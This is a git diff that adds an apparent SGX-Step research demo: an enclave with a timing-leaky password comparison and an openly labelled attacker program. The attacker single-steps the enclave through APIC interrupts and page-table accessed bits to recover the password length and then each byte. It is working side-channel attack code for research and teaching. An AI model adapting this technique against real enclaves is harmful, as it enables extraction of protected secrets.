diff --git a/app/memcmp/.gitignore b/app/memcmp/.gitignore new file mode 100644 index 0000000..e0a295f --- /dev/null +++ b/app/memcmp/.gitignore @@ -0,0 +1,13 @@ +app +measurements.txt +measurements_raw.txt +outlier_idx.txt +plot.pdf +xlabels.gp + +*.swp + +out.txt +parsed_nop.txt +parsed_zz.txt +parsed_strlen.txt diff --git a/app/memcmp/Enclave/.gitignore b/app/memcmp/Enclave/.gitignore new file mode 100644 index 0000000..7865b9d --- /dev/null +++ b/app/memcmp/Enclave/.gitignore @@ -0,0 +1,8 @@ +asm_nop.S +encl +*.pem +*.a +*.s +*.so +*_u.* +*_t.* diff --git a/app/memcmp/Enclave/Makefile b/app/memcmp/Enclave/Makefile new file mode 100644 index 0000000..9d51c83 --- /dev/null +++ b/app/memcmp/Enclave/Makefile @@ -0,0 +1,108 @@ +CC = gcc +AR = ar +LD = gcc +EDGER = sgx_edger8r +SIGNER = sgx_sign +INCLUDE = -I$(SGX_SDK)/include -I$(SGX_SDK)/include/tlibc +T_CFLAGS = $(CFLAGS) -nostdinc -fvisibility=hidden -fpie -fstack-protector -g -Os +U_CFLAGS = $(CFLAGS) -nostdinc -fvisibility=hidden -fpie -fstack-protector -g +AR_FLAGS = rcs +OBJECTS = encl.o +LIB_SGX_TRTS = -lsgx_trts +LIB_SGX_TSERVICE = -lsgx_tservice + +ifeq ($(M32), 1) + T_CFLAGS += -m32 -msse2 -DM32=1 + U_CFLAGS += -m32 -msse2 + LD_FLAGS = -m32 +else + LIB_SUFX = 64 +endif + +ENCLAVE_LIBS = $(LIB_SGX_TRTS) +ENCLAVE_LIB_PARTS = -lsgx_tstdc -lsgx_tcrypto $(LIB_SGX_TSERVICE) +ENCLAVE = encl +PRIVATE_KEY = private_key.pem +PUBLIC_KEY = public_key.pem +KEY_SIZE = 3072 +ENCLAVE_EDL = $(ENCLAVE).edl +ENCLAVE_CONFIG = $(ENCLAVE).config.xml +OUTPUT_T = $(ENCLAVE).so +OUTPUT_T_UNSIG = $(ENCLAVE).unsigned.so +OUTPUT_U = lib$(ENCLAVE)_proxy.a +LIB_DIRS = -L$(SGX_SDK)/lib$(LIB_SUFX)/ +LD_FLAGS += -Wl,--no-undefined -nostdlib -nodefaultlibs -nostartfiles \ + -Wl,--whole-archive -Wl,--start-group $(ENCLAVE_LIBS) -Wl,--end-group \ + -Wl,--no-whole-archive -Wl,--start-group $(ENCLAVE_LIB_PARTS) -Wl,--end-group \ + -Wl,-Bstatic -Wl,-Bsymbolic -Wl,--no-undefined \ + -Wl,-pie,-eenclave_entry -Wl,--export-dynamic \ + -Wl,--defsym,__ImageBase=0 +TRUSTED_OBJECTS = $(ENCLAVE)_t.o +UNTRUSTED_OBJECTS = $(ENCLAVE)_u.o +TRUSTED_CODE = $(ENCLAVE)_t.h $(ENCLAVE)_t.c +UNTRUSTED_CODE = $(ENCLAVE)_u.h $(ENCLAVE)_u.c + +#.SILENT: +all: $(OUTPUT_T) $(OUTPUT_U) + +$(OUTPUT_T) : $(TRUSTED_OBJECTS) $(OBJECTS) $(PRIVATE_KEY) + echo "$(INDENT)[LD] " $(OBJECTS) $(TRUSTED_OBJECTS) $(ENCLAVE_LIBS) $(ENCLAVE_LIBS_PARTS) $(OUTPUT_T_UNSIG) + $(LD) $(OBJECTS) $(TRUSTED_OBJECTS) $(LD_FLAGS) $(LIB_DIRS) -o $(OUTPUT_T_UNSIG) + + echo "$(INDENT)[SGN]" $(OUTPUT_T_UNSIG) + $(SIGNER) sign -key $(PRIVATE_KEY) -enclave $(OUTPUT_T_UNSIG) -out $(OUTPUT_T) -config $(ENCLAVE_CONFIG) > /dev/null 2> /dev/null + +$(OUTPUT_U) : $(UNTRUSTED_OBJECTS) + echo "$(INDENT)[AR] " $(OUTPUT_U) + $(AR) $(AR_FLAGS) $(OUTPUT_U) $(UNTRUSTED_OBJECTS) + +%_t.o : $(subst .o,.c,$@) edger + echo "$(INDENT)[CC] " $(subst .o,.c,$@) "(trusted edge)" + touch $(subst .o,.c,$@) + $(CC) -c $(INCLUDE) $(T_CFLAGS) $(subst .o,.c,$@) + +%_u.o : $(subst .o,.c,$@) edger + echo "$(INDENT)[CC] " $(subst .o,.c,$@) "(untrusted edge)" + touch $(subst .o,.c,$@) + $(CC) -c $(INCLUDE) $(U_CFLAGS) $(subst .o,.c,$@) + +%.o : %.c edger + echo "$(INDENT)[CC] " $< "(core)" + $(CC) $(INCLUDE) $(T_CFLAGS) -c $< + +%.o : %.S + echo "$(INDENT)[AS] " $< "(core)" + $(CC) $(INCLUDE) $(T_CFLAGS) -c $< -o $@ + +edger: $(ENCLAVE).edl + echo "$(INDENT)[GEN]" $(EDGER) $(ENCLAVE_EDL) + $(EDGER) $(ENCLAVE_EDL) + +.PHONY: force_check +force_check: + true + +.PHONY: scrub +scrub: + echo "$(INDENT)[RM] " $(PRIVATE_KEY) $(PUBLIC_KEY) + $(RM) $(PRIVATE_KEY) $(PUBLIC_KEY) + +$(PRIVATE_KEY): + echo "$(INDENT)[GEN] $(PRIVATE_KEY) ($(KEY_SIZE) bits)" + + # generate 3072 bit private RSA key + openssl genrsa -out $(PRIVATE_KEY) -3 $(KEY_SIZE) + + echo "$(INDENT)[EXT] $(PUBLIC_KEY)" + # extract public key + openssl rsa -in $(PRIVATE_KEY) -pubout -out $(PUBLIC_KEY) + + # sign enclave + #sgx_sign sign -key private_key.pem -enclave Enclave/encl.so -out encl.signed.so + +.PHONY: clean +clean: + echo "$(INDENT)[RM]" $(OBJECTS) $(OUTPUT_T_UNSIG) $(OUTPUT_T) $(OUTPUT_U) + $(RM) $(OBJECTS) $(OUTPUT_T_UNSIG) $(OUTPUT_T) $(OUTPUT_U) + echo "$(INDENT)[RM]" $(TRUSTED_OBJECTS) $(UNTRUSTED_OBJECTS) $(TRUSTED_CODE) $(UNTRUSTED_CODE) + $(RM) $(TRUSTED_OBJECTS) $(UNTRUSTED_OBJECTS) $(TRUSTED_CODE) $(UNTRUSTED_CODE) diff --git a/app/memcmp/Enclave/encl.c b/app/memcmp/Enclave/encl.c new file mode 100644 index 0000000..f6ec413 --- /dev/null +++ b/app/memcmp/Enclave/encl.c @@ -0,0 +1,48 @@ +#include +#include + +char __attribute__((aligned(0x1000))) trigger_page[4096]; + +char *secret = "SECRET"; + +inline void __attribute__((always_inline)) mwrite(void *p) +{ + asm volatile("movb $0, (%0)\n" : : "r"(p) :); +} + +int my_memcmp(char *a, int a_len, char *b, int b_len) +{ + int i; + + /* first check overall len */ + if (a_len != b_len) + return 0; + + /* now check individual chars */ + for (i=0; i < a_len; i++) + { + if (a[i] != b[i]) + return 0; + } + return 1; +} + +int memcmp_pwd(char *pwd) +{ + int pwd_len = strlen(pwd); + int secret_len = strlen(secret); + mwrite(trigger_page); + int rv = my_memcmp(pwd, pwd_len, secret, secret_len); + mwrite(trigger_page); + return rv; +} + +void *get_memcmp_adrs( void ) +{ + return my_memcmp; +} + +void *get_trigger_adrs( void ) +{ + return trigger_page; +} diff --git a/app/memcmp/Enclave/encl.config.xml b/app/memcmp/Enclave/encl.config.xml new file mode 100644 index 0000000..d6943ec --- /dev/null +++ b/app/memcmp/Enclave/encl.config.xml @@ -0,0 +1,10 @@ + + + 0 + 0 + 0x40000 + 0x100000 + 1 + 1 + 0 + diff --git a/app/memcmp/Enclave/encl.edl b/app/memcmp/Enclave/encl.edl new file mode 100644 index 0000000..b99b33f --- /dev/null +++ b/app/memcmp/Enclave/encl.edl @@ -0,0 +1,11 @@ +enclave { + + trusted { + public int memcmp_pwd([in,string] char *pwd); + public void *get_memcmp_adrs( void ); + public void *get_trigger_adrs( void ); + }; + + untrusted { + }; +}; diff --git a/app/memcmp/Makefile b/app/memcmp/Makefile new file mode 100644 index 0000000..11679be --- /dev/null +++ b/app/memcmp/Makefile @@ -0,0 +1,89 @@ +LIBSGXSTEP_DIR = ../.. +LIBSGXSTEP = $(LIBSGXSTEP_DIR)/libsgxstep +-include $(LIBSGXSTEP)/Makefile.config + +ifeq ($(SGX_SDK),) + SGX_SDK = /opt/intel/sgxsdk +endif +export SGX_SDK +ifneq ($(SGX_SDK), /opt/intel/sgxsdk) + URTS_LD_LIBRARY_PATH = LD_LIBRARY_PATH=$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux +endif + +ENCLAVE = Enclave +SUBDIRS = $(ENCLAVE) $(LIBSGXSTEP) + +CC = gcc +AS = gcc +LD = gcc + +ifeq ($(M32), 1) + ASFLAGS = -m32 -DM32=$(M32) + CFLAGS = -m32 -DM32=$(M32) + LDFLAGS = -m32 +else + LIB_SUFX = 64 +endif + +CFLAGS += -fPIC -fno-stack-protector -fno-builtin -fno-jump-tables \ + -fno-common -Wno-attributes -g -D_GNU_SOURCE -O0 +INCLUDE = -I$(SGX_SDK)/include/ -I$(LIBSGXSTEP_DIR) +LDFLAGS += -lsgx-step -lencl_proxy -lsgx_urts \ + -lsgx_uae_service -pthread $(SUBDIRS:%=-L %) -L$(SGX_SDK)/lib$(LIB_SUFX)/ \ + -L$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux + +SOURCES = $(shell ls *.c) +OBJECTS = $(SOURCES:.c=.o) +OUTPUT = app + +BUILDDIRS = $(SUBDIRS:%=build-%) +CLEANDIRS = $(SUBDIRS:%=clean-%) + +ATTACK = 1 +PARSE = nop +ifeq ($(STRLEN), 1) + ATTACK = 2 + PARSE = strlen +endif +ifeq ($(ZIGZAG), 1) + ATTACK = 3 + PARSE = zz +endif + +ifeq ($(NUM),) + NUM = 100 +endif +export NUM + +CFLAGS += -DATTACK_SCENARIO=$(ATTACK) -DNUM_RUNS=$(NUM) + +.SILENT: +all: $(OUTPUT) + +run: clean all + sudo $(URTS_LD_LIBRARY_PATH) ./app > out.txt + cat out.txt + +$(OUTPUT): $(BUILDDIRS) $(OBJECTS) + echo "$(INDENT)[LD]" $(OBJECTS) $(LIBS) -o $(OUTPUT) + $(LD) $(OBJECTS) $(LDFLAGS) -o $(OUTPUT) + +%.o : %.c + echo "$(INDENT)[CC] " $< + $(CC) $(CFLAGS) $(INCLUDE) -c $< + +%.o : %.S + echo "$(INDENT)[AS] " $< + $(AS) $(ASFLAGS) $(INCLUDE) -c $< -o $@ + +clean: $(CLEANDIRS) + echo "$(INDENT)[RM]" $(OBJECTS) $(OUTPUT) + rm -f $(OBJECTS) $(OUTPUT) + +$(BUILDDIRS): + echo "$(INDENT)[===] $(@:build-%=%) [===]" + $(MAKE) -C $(@:build-%=%) INDENT+="$(INDENT_STEP)" M32=$(M32) curr-dir=$(curr-dir)/$(@:build-%=%) + +$(CLEANDIRS): + echo "$(INDENT)[===] $(@:clean-%=%) [===]" + $(MAKE) clean -C $(@:clean-%=%) INDENT+="$(INDENT_STEP)" curr-dir=$(curr-dir)/$(@:build-%=%) diff --git a/app/memcmp/jsh-colors.h b/app/memcmp/jsh-colors.h new file mode 100644 index 0000000..e9d1145 --- /dev/null +++ b/app/memcmp/jsh-colors.h @@ -0,0 +1,56 @@ +/* This file is part of jsh. + * + * jsh: A basic UNIX shell implementation in C + * Copyright (C) 2014 Jo Van Bulck + * + * jsh is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * jsh is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with jsh. If not, see . + */ + +#ifndef JSH_COLORS_H_INCLUDED +#define JSH_COLORS_H_INCLUDED + +// ANSI escape foreground color codes (see https://en.wikipedia.org/wiki/ANSI_escape_code) +#define BLACK_FG "\033[30m" +#define RED_FG "\033[31m" +#define GREEN_FG "\033[32m" +#define YELLOW_FG "\033[33m" +#define BLUE_FG "\033[34m" +#define MAGENTA_FG "\033[35m" +#define CYAN_FG "\033[36m" +#define WHITE_FG "\033[37m" +#define RESET_FG "\033[39m" + +// ANSI escape background color codes +#define BLACK_BG "\033[40m" +#define RED_BG "\033[41m" +#define GREEN_BG "\033[42m" +#define YELLOW_BG "\033[43m" +#define BLUE_BG "\033[44m" +#define MAGENTA_BG "\033[45m" +#define CYAN_BG "\033[46m" +#define WHITE_BG "\033[47m" +#define RESET_BG "\033[49m" + +// ANSI escape style color codes +#define COLOR_RESET_ALL "\033[0m" // back to defaults +#define COLOR_BOLD "\033[1m" // implemented as 'bright' on some terminals +#define COLOR_RESET_BOLD "\033[22m" + +// (the following are not widely supported) +#define COLOR_DIM "\033[2m" +#define COLOR_UNDERLINE "\033[3m" +#define COLOR_BLINK "\033[4m" +#define COLOR_REVERSE "\033[7m" + +#endif // JSH_COLORS_H_INCLUDED diff --git a/app/memcmp/main.c b/app/memcmp/main.c new file mode 100644 index 0000000..9b08c6b --- /dev/null +++ b/app/memcmp/main.c @@ -0,0 +1,189 @@ +#include +#include "Enclave/encl_u.h" +#include +#include +#include "libsgxstep/apic.h" +#include "libsgxstep/pt.h" +#include "libsgxstep/sched.h" +#include "libsgxstep/enclave.h" +#include "libsgxstep/debug.h" +#include "libsgxstep/config.h" +#include "libsgxstep/idt.h" +#include "libsgxstep/config.h" +#include "jsh-colors.h" + +#define MAX_LEN 100 + +sgx_enclave_id_t eid = 0; +int irq_cnt = 0, do_irq = 1, fault_cnt = 0, trigger_cnt = 0, step_cnt = 0; +uint64_t *pte_encl = NULL, *pte_trigger = NULL, *pmd_encl = NULL; + +/* ================== ATTACKER IRQ/FAULT HANDLERS ================= */ + +/* Called before resuming the enclave after an Asynchronous Enclave eXit. */ +void aep_cb_func(void) +{ + uint64_t erip = edbgrd_erip() - (uint64_t) get_enclave_base(); + //info("^^ enclave RIP=%#llx; ACCESSED=%d", erip, ACCESSED(*pte_encl)); + irq_cnt++; + + if (do_irq && (irq_cnt > NUM_RUNS*500)) + { + info("excessive interrupt rate detected (try adjusting timer interval " \ + "to avoid getting stuck in zero-stepping); aborting..."); + do_irq = 0; + } + + if (ACCESSED(*pte_encl) && ACCESSED(*pte_trigger)) + { + trigger_cnt++; + } + if (trigger_cnt >= 3) + { + do_irq = 0; + } + + /* + * NOTE: We explicitly clear the "accessed" bit of the _unprotected_ PTE + * referencing the enclave code page about to be executed, so as to be able + * to filter out "zero-step" results that won't set the accessed bit. + */ + if (ACCESSED(*pte_encl)) step_cnt++; + *pte_encl = MARK_NOT_ACCESSED( *pte_encl ); + *pte_trigger = MARK_NOT_ACCESSED(*pte_trigger); + + /* + * Configure APIC timer interval for next interrupt. + * + * On our evaluation platforms, we explicitly clear the enclave's + * _unprotected_ PMD "accessed" bit below, so as to slightly slow down + * ERESUME such that the interrupt reliably arrives in the first subsequent + * enclave instruction. + * + */ + if (do_irq) + { + *pmd_encl = MARK_NOT_ACCESSED( *pmd_encl ); + apic_timer_irq( SGX_STEP_TIMER_INTERVAL ); + } +} + +/* Called upon SIGSEGV caused by untrusted page tables. */ +void fault_handler(int signal) +{ + info("Caught fault %d! Restoring enclave page permissions..", signal); + *pte_encl = MARK_WRITABLE(*pte_trigger); + ASSERT(fault_cnt++ < 10); + + // NOTE: return eventually continues at aep_cb_func and initiates + // single-stepping mode. +} + +/* ================== ATTACKER INIT/SETUP ================= */ + +/* Configure and check attacker untrusted runtime environment. */ +void attacker_config_runtime(void) +{ + ASSERT( !claim_cpu(VICTIM_CPU) ); + ASSERT( !prepare_system_for_benchmark(PSTATE_PCT) ); + ASSERT(signal(SIGSEGV, fault_handler) != SIG_ERR); + //print_system_settings(); + + register_aep_cb(aep_cb_func); + register_enclave_info(); + print_enclave_info(); +} + +/* Provoke page fault on enclave entry to initiate single-stepping mode. */ +void attacker_config_page_table(void) +{ + void *code_adrs, *trigger_adrs; + SGX_ASSERT( get_memcmp_adrs( eid, &code_adrs) ); + SGX_ASSERT( get_trigger_adrs( eid, &trigger_adrs) ); + info("enclave trigger at %p; code at %p", trigger_adrs, code_adrs); + + ASSERT( pte_encl = remap_page_table_level( code_adrs, PTE) ); + ASSERT( pte_trigger = remap_page_table_level( trigger_adrs, PTE) ); + *pte_trigger = MARK_NON_WRITABLE(*pte_trigger); + *pte_trigger = MARK_NOT_ACCESSED(*pte_trigger); + print_pte_adrs( trigger_adrs ); + + ASSERT( pmd_encl = remap_page_table_level( get_enclave_base(), PMD) ); +} + +/* ================== ATTACKER MAIN ================= */ + +/* Untrusted main function to create/enter the trusted enclave. */ +int main( int argc, char **argv ) +{ + sgx_launch_token_t token = {0}; + int apic_fd, pwd_success = 0, updated = 0, i, pwd_len; + char *pwd = malloc(MAX_LEN); //"SUPER_SECRET_PASSWORD!!"; + idt_t idt = {0}; + + info_event("Creating enclave..."); + SGX_ASSERT( sgx_create_enclave( "./Enclave/encl.so", /*debug=*/1, + &token, &updated, &eid, NULL ) ); + + /* 0. dry run */ + SGX_ASSERT( memcmp_pwd(eid, &pwd_success, pwd) ); + + /* 1. Setup attack execution environment. */ + attacker_config_runtime(); + attacker_config_page_table(); + + info_event("Establishing user-space APIC/IDT mappings"); + map_idt(&idt); + install_kernel_irq_handler(&idt, __ss_irq_handler, IRQ_VECTOR); + apic_timer_oneshot(IRQ_VECTOR); + + /* 2. Single-step enclaved execution. */ + info_event("recovering password length"); + for (pwd_len = 0; pwd_len < MAX_LEN; pwd_len++) + { + for (int j = 0; j < pwd_len; j++) pwd[j] = '*'; + pwd[pwd_len] = '\0'; + do_irq = 1; trigger_cnt = 0, step_cnt = 0; + *pte_trigger = MARK_NON_WRITABLE(*pte_trigger); + SGX_ASSERT( memcmp_pwd(eid, &pwd_success, pwd) ); + + printf("\r" BLUE_FG COLOR_BOLD "[attacker] steps=%d; " YELLOW_BG "guess='%s'" RESET_BG, step_cnt, pwd); + fflush(stdout); + + for (volatile int j=0; j < 100000; j++); /* delay */ + + if (step_cnt > 10) break; + } + ASSERT( pwd_len < MAX_LEN ); + printf(COLOR_RESET_ALL "\n[attacker] found pwd len = %d\n", pwd_len); + +#if 1 + info_event("recovering password bytes"); + + for (i=0; i < pwd_len; i++) + { + int step_cnt_prev = 100; + for (int j='A'; j<'Z'; j++) + { + pwd[i] = j; + do_irq = 1; trigger_cnt = 0, step_cnt = 0; + *pte_trigger = MARK_NON_WRITABLE(*pte_trigger); + SGX_ASSERT( memcmp_pwd(eid, &pwd_success, pwd) ); + + printf("\r" BLUE_FG COLOR_BOLD "[attacker] steps=%d; " YELLOW_BG "guess='%s'" RESET_BG " --> %s", + step_cnt, pwd, pwd_success ? "SUCCESS" : "FAIL", step_cnt); + fflush(stdout); + + if (pwd_success || (step_cnt > step_cnt_prev)) break; + step_cnt_prev = step_cnt; + } + } + printf("\n\n"); +#endif + + /* 3. Restore normal execution environment. */ + apic_timer_deadline(); + + info("all done; counted %d/%d IRQs (AEP/IDT)", irq_cnt, __ss_irq_count); + return 0; +}